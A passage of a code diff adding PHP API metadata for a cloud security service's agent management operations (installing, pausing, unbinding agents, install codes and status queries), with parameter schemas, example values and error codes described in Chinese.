'required' => false, + 'example' => 'proxy_test', + ], + ], + [ + 'name' => 'PrivateLinkId', + 'in' => 'query', + 'schema' => [ + 'description' => '阿里云私网连接接入ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '72845', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\"\\n}","type":"json"}]', + 'title' => '新增安装码', + ], + 'OperateAgentClientInstall' => [ + 'summary' => '为服务器安装云安全中心Agent插件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92411', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => '要安装云安全中心Agent的服务器实例的ID列表，多个实例ID之间使用半角逗号（,）分隔。'."\n" + ."\n" + .'> **InstanceIds**、**Uuids**这两个参数二选一，必须设置一个，才可以成功调用本接口，如果选择**InstanceIds**，则**Region**和**Os**必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要安装的服务器的UUID列表，多个UUID之间使用半角逗号（,）分隔。'."\n" + ."\n" + .'> **InstanceIds**、**Uuids**这两个参数二选一，必须设置一个，才可以成功调用本接口。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1587bedb-fdb4-48c4-9330-************', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'Region', + 'in' => 'query', + 'schema' => [ + 'description' => '机器所在地域，包括但不限于如下地域：'."\n" + ."\n" + .'- cn-hangzhou：杭州'."\n" + ."\n" + .'- cn-beijing：北京'."\n" + ."\n" + .'- cn-shanghai：上海'."\n" + ."\n" + .'- cn-zhangjiakou：张家口'."\n" + ."\n" + .'- cn-shenzhen：深圳', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Os', + 'in' => 'query', + 'schema' => [ + 'description' => '实例的操作系统。取值：'."\n" + ."\n" + .'- **linux**：linux'."\n" + ."\n" + .'- **windows**：windows', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AE79B457-877C-51C6-AD72-0D34A025D***', + ], + 'AegisCelintInstallResposeList' => [ + 'description' => '安装Agent客户端调用请求的返回结果。', + 'type' => 'array', + 'items' => [ + 'description' => '安装Agent客户端返回结果详情。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '1587bedb-fdb4-48c4-9330-****', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + 'RecordId' => [ + 'description' => '客户端安装任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2856', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InstallNotGranted', + 'errorMessage' => 'The installation permission is not granted.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AE79B457-877C-51C6-AD72-0D34A025D***\\",\\n \\"AegisCelintInstallResposeList\\": [\\n {\\n \\"Uuid\\": \\"1587bedb-fdb4-48c4-9330-****\\",\\n \\"InstanceId\\": \\"i-uf6j8vq9l4r5ntht****\\",\\n \\"RecordId\\": 2856\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n AE79B457-877C-51C6-AD72-0D34A025D***\\n \\n 1587bedb-fdb4-48c4-9330-****\\n i-uf6j8vq9l4r5ntht****\\n 2856\\n \\n","errorExample":""}]', + 'title' => '安装Agent', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'PauseClient' => [ + 'summary' => '启用或暂停Agent客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92422', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '需要开启或暂停Agent客户端的服务器列表。', + 'type' => 'string', + 'required' => true, + 'example' => 'uuid-1211-sadsd-2131', + ], + ], + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => 'Agent客户端的开启状态。取值包括：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'string', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n6673D49C-A9AB-40DD-B4A2-B92306701AE7\\r\\n","errorExample":""}]', + 'title' => '启用或暂停Agent客户端', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'UnbindAegis' => [ + 'summary' => '解除云安全中心绑定的非阿里云服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要解除绑定的非阿里服务器的UUID。存在多个UUID时使用英文逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '825F5526-2A17-4279-857F-F790E9590171', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"825F5526-2A17-4279-857F-F790E9590171\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 825F5526-2A17-4279-857F-F790E9590171\\n","errorExample":""}]', + 'title' => '解除云安全中心绑定的非阿里云服务器', + 'description' => '如果不再需要云安全中心继续防护您的非阿里云服务器，您可以调用UnbindAegis接口解绑该服务器。非阿里云服务器解绑后，该服务器将不再消耗您云安全中心的授权数（保有服务器台数或计算核数），即解绑后会释放出对应数量的授权数，可以用于防护其他的服务器。'."\n" + .'> 只有非阿里云服务器才需要执行解除绑定的操作。阿里云ECS服务器无需执行解除绑定操作。对于阿里云ECS服务器，即使您卸载了Agent插件，该服务器仍将以离线状态出现在资产管理列表中，而不会从列表中移除。 '."\n" + ."\n" + .'**前提条件**'."\n" + .'- 需要解绑的非阿里云服务器Agent已暂停保护（客户端状态为关闭）。您可以调用[PauseClient](~~PauseClient~~)接口暂停Agent客户端的防护。'."\n" + .'- 需要解绑的非阿里云服务器已关闭客户端自保护。关闭客户端自保护功能的具体操作，请参见[客户端自保护](~~460802~~)。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAgentInstallStatus' => [ + 'summary' => '通过云助手执行Agent安装命令后，查询Agent安装状态。该接口仅支持查询2分钟内发起安装的安装状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '121015', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.46.XXX.XXX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '查询服务器唯一识别UUID。多个ID之间使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-eae014a7-16c4-4d4e-9f03-5208f4dc****,inet-eae047da-1e5a-41ce-828d-47606e9b****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'AegisClientInvokeStatusResponseList' => [ + 'description' => '服务器状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器状态。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器唯一识别UUID。', + 'type' => 'string', + 'example' => 'd123f6ae-9749-4338-8c7f-3c2c1ead****', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'uninstalled', + ], + 'Result' => [ + 'description' => '状态结果。取值：'."\n" + ."\n" + .'- **-1**：未安装'."\n" + .'- **0**：安装中'."\n" + .'- **1**：安装成功'."\n" + .'- **2**：安装失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '-1', + ], + 'ResuleCode' => [ + 'description' => '状态。取值：'."\n" + .'- **-1**：未安装'."\n" + .'- **0**： 安装成功'."\n" + .'- **1**：客户端目录创建失败'."\n" + .'- **2**：安装包下载失败'."\n" + .'- **3**：安装文件不存在'."\n" + .'- **4**：安装文件校验信息不存在'."\n" + .'- **5**：安装文件校验不通过'."\n" + .'- **6**：安装文件执行失败'."\n" + .'- **7**：权限不足，安装失败'."\n" + .'- **8**：未检测到客户端进程'."\n" + .'- **100**：安装失败，未知错误'."\n" + .'- **1001**：安装失败，该地域暂不支持一键安装客户端'."\n" + .'- **1002**：安装失败，不支持云外主机，请在服务器上执行脚本安装'."\n" + .'- **1003**：安装失败，不支持的操作系统类型'."\n" + .'- **1004**：内部错误，请稍后重试'."\n" + .'- **1005**：ecs未运行，请启动ecs之后重试'."\n" + .'- **1006**：不支持经典网络的ecs，一键安装客户端'."\n" + .'- **1007**：命令进程被手动停止'."\n" + .'- **1008**：没有安装云助手，无法安装客户端'."\n" + .'- **1009**：命令执行超时，请稍后重试'."\n" + .'- **1010**：机器已经在线，无需安装客户端', + 'type' => 'string', + 'example' => '-1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"AegisClientInvokeStatusResponseList\\": [\\n {\\n \\"Uuid\\": \\"d123f6ae-9749-4338-8c7f-3c2c1ead****\\",\\n \\"Message\\": \\"uninstalled\\",\\n \\"Result\\": -1,\\n \\"ResuleCode\\": \\"-1\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询Agent安装状态', + ], + 'DescribeVendorList' => [ + 'summary' => '获取云安全中心支持服务商信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57B795', + ], + 'VendorNameList' => [ + 'description' => '服务商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务商CODE。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57B795\\",\\n \\"VendorNameList\\": [\\n \\"ALIYUN\\"\\n ]\\n}","type":"json"}]', + 'title' => '获取支持服务商', + ], + 'DescribeInstallCaptcha' => [ + 'summary' => '获取手动安装Agent的安装验证码。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92120', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认**zh**，取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Deadline', + 'in' => 'query', + 'schema' => [ + 'description' => '指定安装验证码的有效期。该参数的取值为空时，只查询有效的安装验证码。'."\n" + .'> 安装验证码只有在有效期内才能使用。已过期的安装验证码无法安装云安全中心Agent。', + 'type' => 'string', + 'required' => false, + 'example' => '2020-10-11 16:26:22', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Deadline' => [ + 'description' => '安装验证码有效日期。'."\n" + .'> 安装验证码只有在有效期内才能使用。过期的安装验证码无法使用。', + 'type' => 'string', + 'example' => '2020-10-10 16:06:38', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', + ], + 'CaptchaCode' => [ + 'description' => '手动安装云安全中心Agent的安装验证码。', + 'type' => 'string', + 'example' => 'M1HH**', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Deadline\\": \\"2020-10-10 16:06:38\\",\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"CaptchaCode\\": \\"M1HH**\\"\\n}","errorExample":""},{"type":"xml","example":"\\n A45EB449-0913-4FAF-B5C0-0F2812F69FB4\\n 2020-10-10 16:06:38\\n M1HH**\\n","errorExample":""}]', + 'title' => '获取手动安装Agent的安装验证码', + 'requestParamsDescription' => "\n", + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'SasInstallCode' => [ + 'summary' => '获取Agent客户端安装命令的安装验证码。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92432', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '120.41.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'data' => [ + 'description' => '为服务器手动安装Agent客户端时，客户端的安装验证码。', + 'type' => 'string', + 'example' => 'eD****', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDF****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"data\\": \\"eD****\\",\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDF****\\"\\n}","type":"json"}]', + 'title' => '获取安装命令的安装验证码', + ], + 'DescribeInstallCodes' => [ + 'summary' => '查询手动安装云安全中心Agent的安装命令列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92122', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C0D6119F-92EE-1276-B8B6-C81A7F9D57F5', + ], + 'InstallCodes' => [ + 'description' => '安装命令信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'OnlyImage' => [ + 'description' => '是否镜像安装。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + 'CaptchaCode' => [ + 'description' => '手动安装云安全中心Agent的安装验证码。', + 'type' => 'string', + 'example' => '15v02r', + ], + 'GroupId' => [ + 'description' => '服务器所属分组的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9165712', + ], + 'GroupName' => [ + 'description' => '服务器所属分组的名称。', + 'type' => 'string', + 'example' => 'default', + ], + 'ExpiredDate' => [ + 'description' => '安装命令到期的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1637810007000', + ], + 'VendorName' => [ + 'description' => '服务器供应商的名称。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + .'- **linux**：Linux。'."\n" + .'- **windows**：Windows。', + 'type' => 'string', + 'example' => 'linux', + ], + 'ProxyCluster' => [ + 'description' => '代理集群名。', + 'type' => 'string', + 'example' => 'proxy_test', + ], + 'PrivateLinkEndpointId' => [ + 'description' => '阿里云私网连接接入ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0D6119F-92EE-1276-B8B6-C81A7F9D57F5\\",\\n \\"InstallCodes\\": [\\n {\\n \\"OnlyImage\\": false,\\n \\"CaptchaCode\\": \\"15v02r\\",\\n \\"GroupId\\": 9165712,\\n \\"GroupName\\": \\"default\\",\\n \\"ExpiredDate\\": 1637810007000,\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"Os\\": \\"linux\\",\\n \\"ProxyCluster\\": \\"proxy_test\\",\\n \\"PrivateLinkEndpointId\\": 123\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询手动安装云安全中心Agent的安装命令列表', + 'description' => '本接口用户查询在服务器上手动安装云安全中心Agent时的安装命令。查询结果包含安装验证码和服务器相关的信息。当您需要在服务器上手动安装云安全中心Agent时，您可以调用本接口获取手动安装命令。'."\n" + ."\n" + .'### QPS限制'."\n" + .'本接口的单用户QPS限制为10次/秒。超过限制，API调用会被限流，这可能会影响您的业务，请合理调用。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ListUninstallAegisMachines' => [ + 'summary' => '查询未安装客户端的资产信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '180.113.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的备份文件的数量。默认值为**5**，表示每页显示5条备份文件。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '4', + ], + ], + [ + 'name' => 'RegionNo', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。'."\n" + ."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**regionId**的项的**Values**来获取支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Os', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统。'."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**osType**的项的**Values**来获取支持的操作系统。', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产信息，可以设置为资产名称、公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '172.20.XX.XX', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'RegionIdStr', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。'."\n" + ."\n" + .'> 您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口通过**Name**为**regionId**的项的**Values**来获取支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回的数据信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + 'MachineList' => [ + 'description' => '服务器信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****', + ], + 'MachineRegion' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InternetIp' => [ + 'description' => '服务器外网IP。', + 'type' => 'string', + 'example' => '120.79.XX.XX', + ], + 'VendorName' => [ + 'description' => '服务器的服务商名称。'."\n" + ."\n" + .'取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **OUT**：云外资产'."\n" + .'- **IDC**：IDC'."\n" + .'- **TENCENT**：其它云'."\n" + .'- **HUAWEICLOUD**：其它云'."\n" + .'- **Microsoft**：其它云'."\n" + .'- **AWS**：其它云'."\n" + .'- **TRIPARTITE**：轻量级服务器', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + ."\n" + .'- **linux**：linux'."\n" + ."\n" + .'- **windows**：windows'."\n" + ."\n" + .'- **windows-2003**：windows-2003', + 'type' => 'string', + 'example' => 'linux', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'sas-bdrvxb4b****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 